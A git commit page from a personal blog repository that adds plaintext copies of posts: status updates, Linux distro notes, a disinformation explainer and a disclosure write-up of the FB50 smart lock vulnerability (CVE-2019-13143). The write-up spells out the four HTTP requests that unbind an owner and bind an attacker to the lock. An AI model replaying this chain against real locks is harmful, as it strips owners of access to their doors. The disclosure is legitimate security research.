all repos — site @ e339278a4f8bddd958fa9f1f4d222f1e577adbf5

source for my site, found at icyphox.sh

Create pages/txt for better plaintext generation

Signed-off-by: Anirudh Oppiliappan <x@icyphox.sh>
Anirudh Oppiliappan x@icyphox.sh
Sat, 25 Jan 2020 15:02:59 +0530
commit

e339278a4f8bddd958fa9f1f4d222f1e577adbf5

parent

7df102d414fd6a09009b079521b4bf03f80f91af

M bin/plaintext.shbin/plaintext.sh

@@ -11,7 +11,10 @@ }

for p in pages/blog/*.md; do basename "$p" - [ "$base" != "_index.md" ] && + [ "$base" != "_index.md" ] && { pandoc -s -f "markdown+gutenberg" \ - "$p" -o "build/blog/${base%.*}.txt" + "$p" -o "pages/txt/${base%.*}.txt" + } done + +cp pages/txt/*.txt build/blog/
A pages/txt/2019-09-17.txt

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+--- +date: '2019-09-17' +subtitle: A brief on what happened last week +template: text.html +title: 'Weekly status update, 09/08--09/17' +--- + +This is something new I'm trying out, in an effort to write more +frequently and to serve as a log of how I'm using my time. In theory, I +will write this post every week. I'll need someone to hold me +accountable if I don't. I have yet to decide on a format for this, but +it will probably include a quick summary of the work I did, things I +read, IRL stuff, etc. + +With the meta stuff out of the way, here's what went down last week! + +My discovery of the XXIIVV webring +---------------------------------- + +Did you notice the new fidget-spinner-like logo at the bottom? Click it! +It's a link to the [XXIIVV webring](https://webring.xxiivv.com). I +really like the idea of webrings. It creates a small community of sites +and enables sharing of traffic among these sites. The XXIIVV webring +consists mostly of artists, designers and developers and gosh, some of +those sites are beautiful. Mine pales in comparison. + +The webring also has a [twtxt](https://github.com/buckket/twtxt) echo +chamber aptly called [The +Hallway](https://webring.xxiivv.com/hallway.html). twtxt is a fantastic +project and its complexity-to-usefulness ratio greatly impresses me. You +can find my personal twtxt feed at `/twtxt.txt` (root of this site). + +Which brings me to the next thing I did this/last week. + +`twsh`: a twtxt client written in Bash +-------------------------------------- + +I'm not a fan of the official Python client, because you know, Python is +bloat. As an advocate of *mnmlsm*, I can't use it in good conscience. +Thus, began my authorship of a truly mnml client in pure Bash. You can +find it [here](https://github.com/icyphox/twsh). It's not entirely +useable as of yet, but it's definitely getting there, with the help of +[@nerdypepper](https://nerdypepper.me). + +Other +----- + +I have been listening to my usual podcasts: Crime Junkie, True Crime +Garage, Darknet Diaries & Off the Pill. To add to this list, I've begun +binging Vice's CYBER. It's pretty good---each episode is only about 30 +mins and it hits the sweet spot, delvering both interesting security +content and news. + +My reading needs a ton of catching up. Hopefully I'll get around to +finishing up "The Unending Game" this week. And then go back to +"Terrorism and Counterintelligence". + +I've begun learning Russian! I'm really liking it so far, and it's been +surprisingly easy to pick up. Learning the Cyrillic script will require +some relearning, especially with letters like в, н, р, с, etc. that look +like English but sound entirely different. I think I'm pretty serious +about learning this language---I've added the Russian keyboard to my +Google Keyboard to aid in my familiarization of the alphabet. I've added +the `RU` layout to my keyboard map too: + + setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru + +With that ends my weekly update, and I'll see you next week!
A pages/txt/2019-09-27.txt

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+--- +date: '2019-09-27' +subtitle: Alpine Linux shenaningans and more +template: text.html +title: 'Weekly status update, 09/17--09/27' +--- + +It's a lazy Friday afternoon here; yet another off day this week thanks +to my uni's fest. My last "weekly" update was 10 days ago, and a lot has +happened since then. Let's get right into it! + +My switch to Alpine +------------------- + +Previously, I ran Debian with Buster/Sid repos, and ever since this +happened + +``` {.shell} +$ dpkg --list | wc -l +3817 + +# or something in that ballpark +``` + +I've been wanting to reduce my system's package count. + +Thus, I began my search for a smaller, simpler and lighter distro with a +fairly sane package manager. I did come across Dylan Araps' [KISS +Linux](https://getkiss.org) project, but it seemed a little too hands-on +for me (and still relatively new). I finally settled on [Alpine +Linux](https://alpinelinux.org). According to their website: + +> Alpine Linux is a security-oriented, lightweight Linux distribution +> based on musl libc and busybox. + +The installation was a breeze, and I was quite surprised to see WiFi +working OOTB. In the past week of my using this distro, the only major +hassle I faced was getting my Minecraft launcher to run. The JRE isn't +fully ported to `musl` yet.[^1] The solution to that is fairly trivial +and I plan to write about it soon. (hint: it involves chroots) + +![rice](/static/img/rice-2019-09-27.png) + +Packaging for Alpine +-------------------- + +On a related note, I've been busy packaging some of the stuff I use for +Alpine -- you can see my personal +[aports](https://github.com/icyphox/aports) repository if you're +interested. I'm currently working on packaging Nim too, so keep an eye +out for that in the coming week. + +Talk selection at PyCon India! +------------------------------ + +Yes! My buddy Raghav ([@_vologue](https://twitter.com/\_vologue)) and I +are going to be speaking at PyCon India about our recent smart lock +security research. The conference is happening in Chennai, much to our +convenience. If you're attending too, hit me up on Twitter and we can +hang! + +Other +----- + +That essentially sums up the *technical* stuff that I did. My Russian is +going strong, my reading however, hasn't. I have *yet* to finish those +books! This week, for sure. + +Musically, I've been experimenting. I tried a bit of hip-hop and +chilltrap, and I think I like it? I still find myself coming back to +metalcore/deathcore. Here's a list of artists I discovered (and liked) +recently: + +- [Before I Turn](https://www.youtube.com/watch?v=r3uKGwcwGWA) +- 生 Conform 死 (couldn't find any official YouTube video, check + Spotify) +- [Treehouse Burning](https://www.youtube.com/watch?v=66eFK1ttdC4) +- [Lee McKinney](https://www.youtube.com/watch?v=m-w3XM2PwOY) +- [Berried Alive](https://www.youtube.com/watch?v=cUibXK7F3PM) + (rediscovered) + +That's it for now, I'll see you next week! + +[^1]: The [Portola Project](https://aboullaite.me/protola-alpine-java/)
A pages/txt/2019-10-17.txt

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+--- +date: '2019-10-16' +subtitle: 'Not weekly anymore, but was it ever?' +title: Status update +--- + +I've decided to drop the "Weekly" part of the status update posts, since +they were never weekly and---let's be honest---they aren't going to be. +These posts are, henceforth, just "Status updates". The date range can +be inferred from the post date. + +That said, here's what I've been up to! + +Void Linux +---------- + +Yes, I decided to ditch Alpine in favor of Void. Alpine was great, +really. The very comfy `apk`, ultra mnml system... but having to +maintain a chroot for my glibc needs was getting way too painful. And +the package updates are so slow! Heck, they're still on kernel 4.xx on +their supposed "bleeding" `edge` repo. + +So yes, Void Linux it is. Still a very clean system. I'm loving it. I +also undervolted my system using +[`undervolt`](https://github.com/georgewhewell/undervolt) (-95 mV). +Can't say for sure if there's a noticeable difference in battery life +though. I'll see if I can run some tests. + +This *should* be the end of my distro hopping. Hopefully. + +PyCon +----- + +Yeah yeah, enough already. Read [my previous post](/blog/pycon-wrap-up). + +This website +------------ + +I've moved out of GitHub Pages over to Netlify. This isn't my first time +using Netlify, though. I used to host my old blog which ran Hugo, there. +I was tired of doing this terrible hack to maintain a single repo for +both my source (`master`) and deploy (`gh-pages`). In essence, here's +what I did: + +``` {.shell} +#!/usr/bin/env bash + +git push origin master +# push contents of `build/` to the `gh-pages` branch +git subtree push --prefix build origin gh-pages +``` + +I can now simply push to `master`, and Netlify generates a build for me +by installing [vite](https://github.com/icyphox/vite), and running +`vite build`. Very pleasant. + +`mnmlwm`'s status +----------------- + +[mnmlwm](https://github.com/minimalwm/minimal), for those unaware, is my +pet project which aims to be a simple window manager written in Nim. I'd +taken a break from it for a while because Xlib is such a pain to work +with (or I'm just dense). Anyway, I'm planning on getting back to it, +with some fresh inspiration from Dylan Araps' +[sowm](https://github.com/dylanaraps/sowm). + +Other +----- + +I've been reading a lot of manga lately. Finished *Kekkon Yubiwa +Monogatari* (till the latest chapter) and *Another*, and I've just +started *Kakegurui*. I'll reserve my opinions for when I update the +[reading log](/reading). + +That's about it, and I'll see you---definitely not next week.
A pages/txt/2019-11-16.txt

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+--- +date: '2019-11-16' +subtitle: 'Exams, stuff, etc.' +title: Status update +--- + +This month is mostly just unfun stuff, lined up in a neat schedule -- +exams. I get all these cool ideas for things to do, and it's always +during exams. Anyway, here's a quick update on what I've been up to. + +Blog post queue +--------------- + +I realized that I could use this site's +[repo](https://github.com/icyphox/site)'s issues to track blog post +ideas. I've made a few, mostly just porting them over from my Google +Keep note. + +This method of using issues is great, because readers can chime in with +ideas for things I could possibly discuss---like in [this +issue](https://github.com/icyphox/site/issues/10). + +Contemplating a `vite` rewrite +------------------------------ + +[`vite`](https://github.com/icyphox/vite), despite what the name +suggests -- is awfully slow. Also, Python is bloat. Will rewriting it +fix that? That's what I plan to find out. I have a couple of choices of +languages to use in the rewrite: + +- C: Fast, compiled. Except I suck at it. (`cite`?) +- Nim: My favourite, but I'll have to write bindings to + [`lowdown(1)`](https://github.com/kristapsdz/lowdown). (`nite`?) +- Shell: Another favourite, muh "minimalsm". No downside, really. + (`shite`?) + +Oh, and did I mention---I want it to be compatible with `vite`. I don't +want to have to redo my site structure or its templates. At the moment, +I rely on Jinja2 for templating, so I'll need something similar. + +IRC bot +------- + +My earlier post on [IRC for DMs](/blog/irc-for-dms) got quite a bit of +traction, which was pretty cool. I didn't really talk much about the bot +itself though; I'm dedicating this section to +[detotated](https://github.com/icyphox/detotated).[^1] + +Fairly simple Python code, using plain sockets. So far, we've got a few +basic features in place: + +- `.np` command: queries the user's last.fm to get the currently + playing track +- Fetches the URL title, when a URL is sent in chat + +That's it, really. I plan to add a `.nps`, or "now playing Spotify" +command, since we share Spotify links pretty often. + +Other +----- + +I've been reading some more manga, I'll update the [reading +log](/reading) when I, well... get around to it. Haven't had time to do +much in the past few weeks---the time at the end of a semester tends to +get pretty tight. Here's what I plan to get back to during this winter +break: + +- Russian! +- Window manager in Nim +- `vite` rewrite, probably +- The other blog posts in queue + +I've also put off doing any "security work" for a while now, perhaps +that'll change this December. Or whenever. + +With that ends my status update, on all things that I *haven't* done. + +[^1]: https://knowyourmeme.com/memes/dedotated-wam (dead meme, yes I + know)
A pages/txt/2019-in-review.txt

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+--- +date: '2020-01-02' +subtitle: A look back at last year +title: 2019 in review +--- + +Just landed in a rainy Chennai, back in campus for my 6th semester. A +little late to the "year in review blog post" party; travel took up most +of my time. Last year was pretty eventful (at least in my books), and I +think I did a bunch of cool stuff---let's see! + +Interning at SecureLayer7 +------------------------- + +Last summer, I interned at [SecureLayer7](https://securelayer7.net), a +security consulting firm in Pune, India. My work was mostly in hardware +and embededded security research. I learnt a ton about ARM and MIPS +reversing and exploitation, UART and JTAG, firmware RE and enterprise +IoT security. + +I also earned my first CVE! I've written about it in detail +[here](/blog/fb50). + +Conferences +----------- + +I attended two major conferences last year---Nullcon Goa and PyCon +India. Both super fun experiences and I met a ton of cool people! +[Nullcon Twitter +thread](https://twitter.com/icyphox/status/1101022604851212288) and +[PyCon blog post](/blog/pycon-wrap-up). + +Talks +----- + +I gave two talks last year: + +1. *Intro to Reverse Engineering* at Cyware 2019 +2. *"Smart lock? Nah dude."* at PyCon India + +Things I made +------------- + +Not in order, because I CBA: + +- [repl](https://github.com/icyphox/repl): More of a quick bash hack, + I don't really use it. +- [pw](https://github.com/icyphox/pw): A password manager. This, I + actually do use. I've even written a tiny [`dmenu` + wrapper](https://github.com/icyphox/dotfiles/blob/master/bin/pwmenu.sh) + for it. +- [twsh](https://github.com/icyphox/twsh): An incomplete twtxt client, + in bash. I have yet to get around to finishing it. +- [alpine ports](https://github.com/icyphox/alpine): My APKBUILDs for + Alpine. +- [detotated](https://github.com/icyphox/detotated): An IRC bot + written in Python. See [IRC for DMs](/blog/irc-for-dms). +- [icyrc](https://github.com/icyphox/icyrc): A no bullshit IRC client, + because WeeChat is bloat. + +I probably missed something, but whatever. + +Blog posts +---------- + + $ ls -1 pages/blog/*.md | wc -l + 20 + +So excluding today's post, and `_index.md`, that's 18 posts! I had +initially planned to write one post a month, but hey, this is great. My +plan for 2020 is to write one post a *week*---unrealistic, I know, but I +will try nevertheless. + +I wrote about a bunch of things, ranging from programming to +return-oriented-programming (heh), sysadmin and security stuff, and a +hint of culture and philosophy. Nice! + +The [Python for Reverse Engineering](/blog/python-for-re-1) post got a +ton of attention on the interwebz, so that was cool. + +Bye 2019 +-------- + +2019 was super productive! (in my terms). I learnt a lot of new things +last year, and I can only hope to learn as much in 2020. :) + +I'll see you next week.
A pages/txt/2020-01-18.txt

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+--- +date: '2020-01-18' +subtitle: 'New year...new stuff?' +title: Status update +--- + +It's only been a two weeks since I got back to campus, and we've +*already* got our first round of cycle tests starting this Tuesday. +Granted, I returned a week late, but...that's nuts! + +We're two whole weeks into 2020; I should've been working on something +status update worthy, right? Not really, but we'll see. + +No more Cloudflare! +------------------- + +Yep. If you weren't aware---pre-2020 this site was behind Cloudflare SSL +and their DNS. I have since migrated off it to [he.net](https://he.net), +thanks to highly upvoted Lobste.rs comment. Because of this switch, I +infact, learnt a ton about DNS. + +Migrating to HE was very painless, but I did have to research a lot +about PTR records---Cloudflare kinda dumbs it down. In my case, I had to +rename my DigitalOcean VPS instance to the FQDN, which then +automagically created a PTR record at DO's end. + +I dropped icyrc +--------------- + +The IRC client I was working on during the end of last +December--early-January? Yeah, I lost interest. Apparently writing C and +ncurses isn't very fun or stimulating. + +This also means I'm back on weechat. Until I find another client that +plays well with ZNC, that is. + +KISS stuff +---------- + +I now maintain two new packages in the KISS community repository---2bwm +and aerc! The KISS package system is stupid simple to work with. +Creating packages has never been easier. + +[icyphox.sh/friends](/friends) +------------------------------ + +Did you notice that yet? I've been curating a list of people I know IRL +and online, and linking to their online presence. This is like a webring +of sorts, and promotes inter-site traffic---making the web more "web" +again. + +If you know me, feel free to [hit me up](/about#contact) and I'll link +your site too! My apologies if I've forgotten your name. + +Patreon! +-------- + +Is this big news? I dunno, but yes---I now have a Patreon. I figured I'd +cash in on the newfound traffic my site's been getting. There won't be +any exclusive content or any tiers or whatever. Nothing will change. +Just a place for y'all to toss me some \$\$\$ if you wish to do so. ;) + +Oh, and it's at [patreon.com/icyphox](https://patreon.com/icyphox). + +Misc. +----- + +The Stormlight Archive is likely the *best* epic I have ever read till +date. I'm still not done yet; about 500 odd pages to go as of this +writing. But wow, Brandon really does know how to build worlds and magic +systems. I cannot wait to read all about the +[cosmere](https://coppermind.net/wiki/Cosmere). + +I have also been working out for the past month or so. I can see them +gainzzz. I plan to keep track of my progress, I just don't know how to +quantify it. Perhaps I'll log the number of reps × sets I do each time, +and with what weights. I can then look back to see if either the weights +have increased since, or the number of reps × sets have. If you know of +a better way to quantify progress, let me know! I'm pretty new to this.
A pages/txt/digital-minimalism.txt

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+--- +date: '2019-10-05' +subtitle: 'Put that screen down!' +title: Thoughts on digital minimalism +--- + +Ah yes, yet another article on the internet on this beaten to death +subject. But this is inherently different, since it's *my* opinion on +the matter, and *my* technique(s) to achieve "digital minimalism". + +According to me, minimalism can be achieved on two primary fronts -- the +phone & the computer. Let's start with the phone. The daily carry. The +device that's on our person from when we get out of bed, till we get +back in bed. + +The phone +--------- + +I've read about a lot of methods people employ to curb their phone +usage. Some have tried grouping "distracting" apps into a separate +folder, and this supposedly helps reduce their usage. Now, I fail to see +how this would work, but YMMV. Another technique I see often is using a +time governance app---like OnePlus' Zen Mode---to enforce how much time +you spend using specific apps, or the phone itself. I've tried this for +myself, but I constantly found myself counting down the minutes after +which the phone would become usable again. Not helpful. + +My solution to this is a lot more brutal. I straight up uninstalled the +apps that I found myself using too often. There's a simple principle +behind it---if the app has a desktop alternative, like Twitter, Reddit, +etc. use that instead. Here's a list of apps that got nuked from my +phone: + +- Twitter +- Instagram (an exception, no desktop client) +- Relay for Reddit +- YouTube (disabled, ships with stock OOS) + +The only non-productive app that I've let remain is Clover, a 4chan +client. I didn't find myself using it as much earlier, but we'll see how +that holds up. I've also allowed my personal messaging apps to remain, +since removing those would be inconveniencing others. + +I must admit, I often find myself reaching for my phone out of habit +just to check Twitter, only to find that its gone. I also subconsciously +tap the place where its icon used to exist (now replaced with my mail +client) on my launcher. The only "fun" thing left on my phone to do is +read or listen to music. Which is okay, in my opinion. + +The computer +------------ + +I didn't do anything too nutty here, and most of the minimalism is +mostly aesthetic. I like UIs that get out of the way. + +My setup right now is just a simple bar at the top showing the time, +date, current volume and battery %, along with my workspace indicators. +No fancy colors, no flashy buttons and sliders. And that's it. I don't +try to force myself to not use stuff---after all, I've reduced it +elsewhere. :) + +Now the question arises: Is this just a phase, or will I stick to it? +What's going to stop me from heading over to the Play Store and +installing those apps back? Well, I never said this was going to be +easy. There's definitely some will power needed to pull this off. I +guess time will tell.
A pages/txt/disinfo.txt

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+--- +date: '2019-09-10' +subtitle: 'Misinformation, but deliberate' +template: text.html +title: Disinformation demystified +--- + +As with the disambiguation of any word, let's start with its etymology +and definiton. According to +[Wikipedia](https://en.wikipedia.org/wiki/Disinformation), +*disinformation* has been borrowed from the Russian word --- +*dezinformatisya* (дезинформа́ция), derived from the title of a KGB black +propaganda department. + +> Disinformation is false information spread deliberately to deceive. + +To fully understand disinformation, especially in the modern age, we +need to understand the key factors of any successful disinformation +operation: + +- creating disinformation (what) +- the motivation behind the op, or its end goal (why) +- the medium used to disperse the falsified information (how) +- the actor (who) + +At the end, we'll also look at how you can use disinformation techniques +to maintain OPSEC. + +In order to break monotony, I will also be using the terms "information +operation", or the shortened forms---"info op" & "disinfo". + +Creating disinformation +----------------------- + +Crafting or creating disinformation is by no means a trivial task. +Often, the quality of any disinformation sample is a huge indicator of +the level of sophistication of the actor involved, i.e. is it a 12 year +old troll or a nation state? + +Well crafted disinformation always has one primary characteristic --- +"plausibility". The disinfo must sound reasonable. It must induce the +notion it's *likely* true. To achieve this, the target --- be it an +individual, a specific demographic or an entire nation --- must be well +researched. A deep understanding of the target's culture, history, +geography and psychology is required. It also needs circumstantial and +situational awareness, of the target. + +There are many forms of disinformation. A few common ones are staged +videos / photographs, recontextualized videos / photographs, blog posts, +news articles & most recently --- deepfakes. + +Here's a tweet from [the grugq](https://twitter.com/thegrugq), showing a +case of recontextualized imagery: + +```{=html} +<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff"> +``` +```{=html} +<p lang="en" dir="ltr"> +``` +Disinformation. `<br>`{=html}`<br>`{=html} The content of the photo is +not fake. The reality of what it captured is fake. The context it's +placed in is fake. The picture itself is 100% authentic. Everything, +except the photo itself, is fake. +`<br>`{=html}`<br>`{=html}Recontextualisation as threat vector. +`<a href="https://t.co/Pko3f0xkXC">`{=html}pic.twitter.com/Pko3f0xkXC`</a>`{=html} +```{=html} +</p> +``` +--- thaddeus e. grugq (@thegrugq) +`<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">`{=html}June +23, 2019`</a>`{=html} +```{=html} +</blockquote> +``` +```{=html} +<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> +``` +Motivations behind an information operation +------------------------------------------- + +I like to broadly categorize any info op as either proactive or +reactive. Proactively, disinformation is spread with the desire to +influence the target either before or during the occurence of an event. +This is especially observed during elections.[^1] In offensive +information operations, the target's psychological state can be affected +by spreading **fear, uncertainty & doubt**, or FUD for short. + +Reactive disinformation is when the actor, usually a nation state in +this case, screws up and wants to cover their tracks. A fitting example +of this is the case of Malaysian Airlines Flight 17 (MH17), which was +shot down while flying over eastern Ukraine. This tragic incident has +been attributed to Russian-backed separatists.[^2] Russian media is +known to have desseminated a number of alternative & some even +conspiratorial theories[^3], in response. The number grew as the JIT's +(Dutch-lead Joint Investigation Team) investigations pointed towards the +separatists. The idea was to **muddle the information** space with these +theories, and as a result, potentially correct information takes a +credibility hit. + +Another motive for an info op is to **control the narrative**. This is +often seen in use in totalitarian regimes; when the government decides +what the media portrays to the masses. The ongoing Hong Kong protests is +a good example.[^4] According to +[NPR](https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests): + +> Official state media pin the blame for protests on the "black hand" of +> foreign interference, namely from the United States, and what they +> have called criminal Hong Kong thugs. A popular conspiracy theory +> posits the CIA incited and funded the Hong Kong protesters, who are +> demanding an end to an extradition bill with China and the ability to +> elect their own leader. Fueling this theory, China Daily, a state +> newspaper geared toward a younger, more cosmopolitan audience, this +> week linked to a video purportedly showing Hong Kong protesters using +> American-made grenade launchers to combat police. ... + +Media used to disperse disinfo +------------------------------ + +As seen in the above example of totalitarian governments, national TV +and newspaper agencies play a key role in influence ops en masse. It +guarantees outreach due to the channel/paper's popularity. + +Twitter is another, obvious example. Due to the ease of creating +accounts and the ability to generate activity programmatically via the +API, Twitter bots are the go-to choice today for info ops. Essentially, +an actor attempts to create "discussions" amongst "users" (read: bots), +to push their narrative(s). Twitter also provides analytics for every +tweet, enabling actors to get realtime insights into what sticks and +what doesn't. The use of Twitter was seen during the previously +discussed MH17 case, where Russia employed its troll factory --- the +[Internet Research +Agency](https://en.wikipedia.org/wiki/Internet_Research_Agency) (IRA) to +create discussions about alternative theories. + +In India, disinformation is often spread via YouTube, WhatsApp and +Facebook. Political parties actively invest in creating group chats to +spread political messages and memes. These parties have volunteers whose +sole job is to sit and forward messages. Apart from political +propaganda, WhatsApp finds itself as a medium of fake news. In most +cases, this is disinformation without a motive, or the motive is hard to +determine simply because the source is impossible to trace, lost in +forwards.[^5] This is a difficult problem to combat, especially given +the nature of the target audience. + +The actors behind disinfo campaigns +----------------------------------- + +I doubt this requires further elaboration, but in short: + +- nation states and their intelligence agencies +- governments, political parties +- other non/quasi-governmental groups +- trolls + +This essentially sums up the what, why, how and who of disinformation. + +Personal OPSEC +-------------- + +This is a fun one. Now, it's common knowledge that **STFU is the best +policy**. But sometimes, this might not be possible, because afterall +inactivity leads to suspicion, and suspicion leads to scrutiny. Which +might lead to your OPSEC being compromised. So if you really have to, +you can feign activity using disinformation. For example, pick a place, +and throw in subtle details pertaining to the weather, local events or +regional politics of that place into your disinfo. Assuming this is +Twitter, you can tweet stuff like: + +- "Ugh, when will this hot streak end?!" +- "Traffic wonky because of the Mardi Gras parade." +- "Woah, XYZ place is nice! Especially the fountains by ABC street." + +Of course, if you're a nobody on Twitter (like me), this is a non-issue +for you. + +And please, don't do this: + +![mcafee opsecfail](/static/img/mcafeetweet.png) + +Conclusion +---------- + +The ability to influence someone's decisions/thought process in just one +tweet is scary. There is no simple way to combat disinformation. Social +media is hard to control. Just like anything else in cyber, this too is +an endless battle between social media corps and motivated actors. + +A huge shoutout to Bellingcat for their extensive research in this +field, and for helping folks see the truth in a post-truth world. + +[^1]: [This](https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked) + episode of CYBER talks about election influence ops (features the + grugq!). + +[^2]: The [Bellingcat + Podcast](https://www.bellingcat.com/category/resources/podcasts/)'s + season one covers the MH17 investigation in detail. + +[^3]: [Wikipedia section on MH17 conspiracy + theories](https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories) + +[^4]: [Chinese newspaper spreading + disinfo](https://twitter.com/gdead/status/1171032265629032450) + +[^5]: Use an adblocker before clicking + [this](https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html).
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+--- +date: '2019-08-05' +subtitle: ... and lessons learnt in IoT security +template: text.html +title: 'Picking the FB50 smart lock (CVE-2019-13143)' +--- + +(*originally posted at [SecureLayer7's +Blog](http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure), +with my edits*) + +The lock +-------- + +The lock in question is the FB50 smart lock, manufactured by Shenzhen +Dragon Brother Technology Co. Ltd. This lock is sold under multiple +brands across many ecommerce sites, and has over, an estimated, 15k+ +users. + +The lock pairs to a phone via Bluetooth, and requires the OKLOK app from +the Play/App Store to function. The app requires the user to create an +account before further functionality is available. It also facilitates +configuring the fingerprint, and unlocking from a range via Bluetooth. + +We had two primary attack surfaces we decided to tackle---Bluetooth +(BLE) and the Android app. + +Via Bluetooth Low Energy (BLE) +------------------------------ + +Android phones have the ability to capture Bluetooth (HCI) traffic which +can be enabled under Developer Options under Settings. We made around 4 +"unlocks" from the Android phone, as seen in the screenshot. + +![wireshark packets](/static/img/bt_wireshark.png) + +This is the value sent in the `Write` request: + +![wireshark write req](/static/img/bt_ws_value.png) + +We attempted replaying these requests using `gattool` and `gattacker`, +but that didn't pan out, since the value being written was +encrypted.[^1] + +Via the Android app +------------------- + +Reversing the app using `jd-gui`, `apktool` and `dex2jar` didn't get us +too far since most of it was obfuscated. Why bother when there exists an +easier approach---BurpSuite. + +We captured and played around with a bunch of requests and responses, +and finally arrived at a working exploit chain. + +The exploit +----------- + +The entire exploit is a 4 step process consisting of authenticated HTTP +requests: + +1. Using the lock's MAC (obtained via a simple Bluetooth scan in the + vicinity), get the barcode and lock ID +2. Using the barcode, fetch the user ID +3. Using the lock ID and user ID, unbind the user from the lock +4. Provide a new name, attacker's user ID and the MAC to bind the + attacker to the lock + +This is what it looks like, in essence (personal info redacted). + +### Request 1 + + POST /oklock/lock/queryDevice + {"mac":"XX:XX:XX:XX:XX:XX"} + +Response: + + { + "result":{ + "alarm":0, + "barcode":"<BARCODE>", + "chipType":"1", + "createAt":"2019-05-14 09:32:23.0", + "deviceId":"", + "electricity":"95", + "firmwareVersion":"2.3", + "gsmVersion":"", + "id":<LOCK ID>, + "isLock":0, + "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95", + "lockPwd":"000000", + "mac":"XX:XX:XX:XX:XX:XX", + "name":"lock", + "radioName":"BlueFPL", + "type":0 + }, + "status":"2000" + } + +### Request 2 + + POST /oklock/lock/getDeviceInfo + + {"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"} + +Response: + + "result":{ + "account":"email@some.website", + "alarm":0, + "barcode":"<BARCODE>", + "chipType":"1", + "createAt":"2019-05-14 09:32:23.0", + "deviceId":"", + "electricity":"95", + "firmwareVersion":"2.3", + "gsmVersion":"", + "id":<LOCK ID>, + "isLock":0, + "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95", + "lockPwd":"000000", + "mac":"XX:XX:XX:XX:XX:XX", + "name":"lock", + "radioName":"BlueFPL", + "type":0, + "userId":<USER ID> + } + +### Request 3 + + POST /oklock/lock/unbind + + {"lockId":"<LOCK ID>","userId":<USER ID>} + +### Request 4 + + POST /oklock/lock/bind + + {"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"} + +That's it! (& the scary stuff) +------------------------------ + +You should have the lock transferred to your account. The severity of +this issue lies in the fact that the original owner completely loses +access to their lock. They can't even "rebind" to get it back, since the +current owner (the attacker) needs to authorize that. + +To add to that, roughly 15,000 user accounts' info are exposed via IDOR. +Ilja, a cool dude I met on Telegram, noticed locks named "carlock", +"garage", "MainDoor", etc.[^2] This is terrifying. + +*shudders* + +Proof of Concept +---------------- + +[PoC Video](https://twitter.com/icyphox/status/1158396372778807296) + +[Exploit code](https://github.com/icyphox/pwnfb50) + +Disclosure timeline +------------------- + +- **26th June, 2019**: Issue discovered at SecureLayer7, Pune +- **27th June, 2019**: Vendor notified about the issue +- **2nd July, 2019**: CVE-2019-13143 reserved +- No response from vendor +- **2nd August 2019**: Public disclosure + +Lessons learnt +-------------- + +**DO NOT**. Ever. Buy. A smart lock. You're better off with the "dumb" +ones with keys. With the IoT plague spreading, it brings in a large +attack surface to things that were otherwise "unhackable" (try hacking a +"dumb" toaster). + +The IoT security scene is rife with bugs from over 10 years ago, like +executable stack segments[^3], hardcoded keys, and poor development +practices in general. + +Our existing threat models and scenarios have to be updated to factor in +these new exploitation possibilities. This also broadens the playing +field for cyber warfare and mass surveillance campaigns. + +Researcher info +--------------- + +This research was done at [SecureLayer7](https://securelayer7.net), +Pune, IN by: + +- Anirudh Oppiliappan (me) +- S. Raghav Pillai ([@_vologue](https://twitter.com/\_vologue)) +- Shubham Chougule ([@shubhamtc](https://twitter.com/shubhamtc)) + +[^1]: [This](https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/) + article discusses a similar smart lock, but they broke the + encryption. + +[^2]: Thanks to Ilja Shaposhnikov (@drakylar). + +[^3]: [PDF](https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf)
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+--- +date: '2020-01-13' +subtitle: I installed KISS Linux +title: Five days in a TTY +--- + +This new semester has been pretty easy on me, so far. I hardly every +have any classes (again, so far), and I've a ton of free time on my +hands. This calls for---yep---a distro hop! + +Why KISS? +--------- + +[KISS](https://getkiss.org) has been making rounds on the interwebz +lately.[^1] The Hacker News post spurred *quite* the discussion. But +then again, that is to be expected from Valleybros who use macOS all +day. :\^) + +From the website, + +> An independent Linux® distribution with a focus on simplicity and the +> concept of "less is more". The distribution targets *only* the x86-64 +> architecture and the English language. + +Like many people did in the HN thread, "simplicity" here is not to be +confused with "ease". It is instead, simplicity in terms of lesser and +cleaner code---no +[Poetterware](https://www.urbandictionary.com/define.php?term=poetterware). + +This, I can get behind. A clean system with less code is like a clean +table. It's nice to work on. It also implies security to a certain +extent since there's a smaller attack surface. + +The [`kiss`](https://github.com/kisslinux/kiss) package manager is +written is pure POSIX sh, and does *just enough*. Packages are compiled +from source and `kiss` automatically performs dependency resolution. +Creating packages is ridiculously easy too. + +Speaking of packages, all packages---both official & community +repos---are run through `shellcheck` before getting merged. This is +awesome; I don't think this is done in any other distro. + +In essence, KISS sucks less. + +Installing KISS +--------------- + +The [install guide](https://getkiss.org/pages/install) is very easy to +follow. Clear instructions that make it hard to screw up; that didn't +stop me from doing so, however. + +### Day 1 + +Although technically not in a TTY, it was still not *in* the KISS +system---I'll count it. I'd compiled the kernel in the chroot and +decided to use `efibootmgr` instead of GRUB. `efibootmgr` is a neat tool +to modify the Intel Extensible Firmware Interface (EFI). Essentially, +you boot the `.efi` directly as opposed to choosing which boot entry you +want to boot, through GRUB. Useful if you have just one OS on the +system. Removes one layer of abstraction. + +Adding a new EFI entry is pretty easy. For me, the command was: + + efibootmgr --create + --disk /dev/nvme0n1 \ + --part 1 \ + --label KISS Linux \ + --loader /vmlinuz + --unicode 'root=/dev/nvme0n1p3 rw' # kernel parameters + +Mind you, this didn't work the first time, or the second, or the third +... a bunch of trial and error (and asking on `#kisslinux`) later, it 